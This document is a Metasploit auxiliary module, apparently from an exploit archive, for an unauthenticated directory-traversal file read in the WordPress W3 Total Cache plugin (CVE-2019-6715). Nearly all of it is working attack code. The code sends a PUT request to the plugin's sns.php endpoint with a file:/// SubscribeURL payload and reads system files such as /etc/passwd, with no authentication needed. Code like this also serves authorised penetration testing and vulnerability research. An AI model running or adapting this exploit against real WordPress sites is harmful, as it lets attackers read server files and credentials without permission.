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WordPress Plugin W3 Total Cache - Unauthenticated Arbitrary File Read (Metasploit)

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress W3 Total Cache File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in WordPress plugin
'W3 Total Cache' version 0.9.2.6-0.9.3, allowing arbitrary file read with
the web server privileges.
},
'References' =>
[
['CVE', '2019-6715'],
['WPVDB', '9248'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-6715'],
['URL','https://vinhjaxt.github.io/2019/03/cve-2019-6715'],
],
'Author' =>
[
'VinhJAXT', # Vulnerability discovery
'Hoa Nguyen - SunCSR Team' # Metasploit module
],
'DisclosureDate' => '2014-09-20',
'License' => MSF_LICENSE
)
)

register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 2])
]
)
end

def check
check_plugin_version_from_readme('w3-total-cache', '0.9.4', '0.9.26')
end

def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{^/}

json_body = { 'Type' => "SubscriptionConfirmation",
'Message' => '',
'SubscribeURL' => "file:///#{traversal}#{filename}"
}

res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(wordpress_url_plugins, 'w3-total-cache', 'pub','sns.php'),
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})

fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' unless res.code == 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

print_status('Downloading file...')
print_line("\n#{res.body}\n")

fname = datastore['FILEPATH']
path = store_loot(
'w3_total_cache.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end
            
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